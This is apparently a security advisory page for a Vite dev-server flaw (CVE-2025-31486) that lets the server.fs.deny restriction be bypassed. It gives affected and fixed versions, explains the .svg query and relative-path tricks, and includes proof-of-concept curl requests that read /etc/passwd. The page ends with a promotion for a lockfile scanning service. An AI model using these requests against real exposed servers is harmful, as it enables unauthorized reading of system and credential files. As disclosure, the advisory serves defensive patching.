MediumGHSA-xcj6-pq6g-qj4xCVE-2025-31486

Vite allows server.fs.deny to be bypassed with .svg or relative paths

Published 4 Apr 2025 · Updated 10 Sept 2026

Affected packages

vitenpm

Affected: >=6.2.0 <6.2.5
Fixed in: 6.2.5

Update to the fixed version for your release line, for example:npm install vite@6.2.5

vitenpm

Affected: >=6.1.0 <6.1.4
Fixed in: 6.1.4

Update to the fixed version for your release line, for example:npm install vite@6.1.4

vitenpm

Affected: >=6.0.0 <6.0.14
Fixed in: 6.0.14

Update to the fixed version for your release line, for example:npm install vite@6.0.14

vitenpm

Affected: >=5.0.0 <5.4.17
Fixed in: 5.4.17

Update to the fixed version for your release line, for example:npm install vite@5.4.17

vitenpm

Affected: <4.5.12
Fixed in: 4.5.12

Update to the fixed version for your release line, for example:npm install vite@4.5.12

Details

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

`.svg`

Requests ending with .svg are loaded at this line. https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290 By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than `build.assetsInlineLimit` (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read etc/passwd

curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'

curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

Is GHSA-xcj6-pq6g-qj4x in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected vite, and gives you the command that fixes it.

Scan a project free, no signup Or connect GitHub to scan every repo

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.